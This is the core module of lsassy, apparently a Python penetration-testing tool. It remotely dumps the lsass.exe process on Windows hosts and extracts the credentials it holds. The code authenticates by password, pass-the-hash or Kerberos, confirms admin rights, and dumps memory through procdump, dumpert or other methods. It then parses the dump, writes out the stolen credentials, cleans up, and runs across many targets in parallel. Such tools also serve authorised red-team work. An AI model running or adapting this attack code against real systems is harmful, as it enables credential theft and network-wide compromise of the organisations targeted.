Codebase list python-lsassy / 2086505 lsassy / core.py
2086505

Tree @2086505 (Download .tar.gz)

core.py @2086505raw · history · blame

#!/usr/bin/env python3
# Author:
#  Romain Bentz (pixis - @hackanddo)
# Website:
#  https://beta.hackndo.com

from multiprocessing import Process, RLock
import time

from lsassy.modules.dumper import Dumper
from lsassy.modules.impacketconnection import ImpacketConnection
from lsassy.modules.logger import Logger
from lsassy.modules.parser import Parser
from lsassy.modules.writer import Writer
from lsassy.utils.utils import *

lock = RLock()


class Lsassy:
    def __init__(self,
                 hostname, username, domain="", password="", lmhash="", nthash="",
                 kerberos=False, aesKey="", dc_ip=None,
                 log_options=Logger.Options(),
                 dump_options=Dumper.Options(),
                 parse_options=Parser.Options(),
                 write_options=Writer.Options()
                 ):

        self.conn_options = ImpacketConnection.Options(hostname, domain, username, password, lmhash, nthash, kerberos, aesKey, dc_ip)
        self.log_options = log_options
        self.dump_options = dump_options
        self.parse_options = parse_options
        self.write_options = write_options

        self._target = hostname

        self._log = Logger(self._target, log_options)

        self._conn = None
        self._dumper = None
        self._parser = None
        self._dumpfile = None
        self._credentials = []
        self._writer = None

    def connect(self, options: ImpacketConnection.Options):
        self._conn = ImpacketConnection(options)
        self._conn.set_logger(self._log)
        login_result = self._conn.login()
        if not login_result.success():
            return login_result

        self._log.info("Authenticated")
        return RetCode(ERROR_SUCCESS)

    def dump_lsass(self, options=Dumper.Options()):
        is_admin = self._conn.isadmin()
        if not is_admin.success():
            self._conn.close()
            return is_admin

        self._dumper = Dumper(self._conn, options)
        dump_result = self._dumper.dump()
        if not dump_result.success():
            return dump_result
        self._dumpfile = self._dumper.getfile()

        self._log.info("Process lsass.exe has been dumped")
        return RetCode(ERROR_SUCCESS)

    def parse_lsass(self, options=Dumper.Options()):
        self._parser = Parser(self._dumpfile, options)
        parse_result = self._parser.parse()
        if not parse_result.success():
            return parse_result

        self._credentials = self._parser.get_credentials()
        self._log.info("Process lsass.exe has been parsed")
        return RetCode(ERROR_SUCCESS)

    def write_credentials(self, options=Writer.Options()):
        self._writer = Writer(self._target, self._credentials, self._log, options)
        write_result = self._writer.write()
        if not write_result.success():
            return write_result

        return RetCode(ERROR_SUCCESS)

    def clean(self):
        if self._parser:
            r = self._parser.clean()
            if not r.success():
                lsassy_warn(self._log, r)

        if self._dumper:
            r = self._dumper.clean()
            if not r.success():
                lsassy_warn(self._log, r)

        if self._conn:
            r = self._conn.clean()
            if not r.success():
                lsassy_warn(self._log, r)

        self._log.info("Cleaning complete")

    def get_credentials(self):
        return_code = self.run()
        self._writer = Writer(self._target, self._credentials, self._log, self.write_options)
        ret = {
                "success": True,
                "credentials": self._writer.get_output()
            }
        if not return_code.success():
            ret["success"] = False
            ret["error_code"] = return_code.error_code
            ret["error_msg"] = return_code.error_msg
            ret["error_exception"] = return_code.error_exception

        return ret

    def run(self):
        return_code = ERROR_UNDEFINED
        try:
            return_code = self._run()
        except KeyboardInterrupt as e:
            print("")
            self._log.warn("Quitting gracefully...")
            return_code = RetCode(ERROR_USER_INTERRUPTION)
        except Exception as e:
            return_code = RetCode(ERROR_UNDEFINED, e)
        finally:
            self.clean()
            lsassy_exit(self._log, return_code)
            return return_code

    def _run(self):
        """
        Extract hashes from arguments
        """

        r = self.connect(self.conn_options)
        if not r.success():
            return r
        r = self.dump_lsass(self.dump_options)
        if not r.success():
            return r
        r = self.parse_lsass(self.parse_options)
        if not r.success():
            return r
        r = self.write_credentials(self.write_options)
        if not r.success():
            return r
        return RetCode(ERROR_SUCCESS)


class CLI:
    def __init__(self, target):
        self.conn_options = ImpacketConnection.Options()
        self.log_options = Logger.Options()
        self.dump_options = Dumper.Options()
        self.parse_options = Parser.Options()
        self.write_options = Writer.Options()
        self.lsassy = None
        self.target = target

    def set_options_from_args(self, args):
        # Logger Options
        self.log_options.verbosity = args.v
        self.log_options.quiet = args.quiet

        # Connection Options
        self.conn_options.hostname = self.target
        self.conn_options.domain_name = '' if args.domain is None else args.domain
        self.conn_options.username = '' if args.username is None else args.username
        self.conn_options.kerberos = args.kerberos
        self.conn_options.aes_key = '' if args.aesKey is None else args.aesKey
        self.conn_options.dc_ip = args.dc_ip
        self.conn_options.password = '' if args.password is None else args.password
        if not self.conn_options.password and args.hashes:
            if ":" in args.hashes:
                self.conn_options.lmhash, self.conn_options.nthash = args.hashes.split(":")
            else:
                self.conn_options.lmhash, self.conn_options.nthash = 'aad3b435b51404eeaad3b435b51404ee', args.hashes

        # Dumper Options
        self.dump_options.dumpname = args.dumpname
        self.dump_options.procdump_path = args.procdump
        self.dump_options.dumpert_path = args.dumpert
        self.dump_options.method = args.method
        self.dump_options.timeout = args.timeout

        # Parser Options
        self.parse_options.raw = args.raw

        # Writer Options
        self.write_options.output_file = args.outfile
        self.write_options.format = args.format
        self.write_options.quiet = args.quiet

    def run(self):
        args = get_args()
        self.set_options_from_args(args)
        self.lsassy = Lsassy(
            self.conn_options.hostname,
            self.conn_options.username,
            self.conn_options.domain_name,
            self.conn_options.password,
            self.conn_options.lmhash,
            self.conn_options.nthash,
            self.conn_options.kerberos,
            self.conn_options.aesKey,
            self.conn_options.dc_ip,
            log_options=self.log_options,
            dump_options=self.dump_options,
            parse_options=self.parse_options,
            write_options=self.write_options
        )
        return self.lsassy.run()


def run():
    targets = get_targets(get_args().target)
    # Maximum 256 processes because maximum 256 opened files in python by default
    processes = min(get_args().threads, 256)

    if len(targets) == 1:
        return CLI(targets[0]).run().error_code
    jobs = [Process(target=CLI(target).run) for target in targets]
    try:
        for job in jobs:
            # Checking running processes to avoid reaching --threads limit
            while True:
                counter = sum(1 for j in jobs if j.is_alive())
                if counter >= processes:
                    time.sleep(1)
                else:
                    break
            job.start()
    except KeyboardInterrupt as e:
        print("\nQuitting gracefully...")
        terminate_jobs(jobs)
    finally:
        join_jobs(jobs)

    return 0


if __name__ == '__main__':
    run()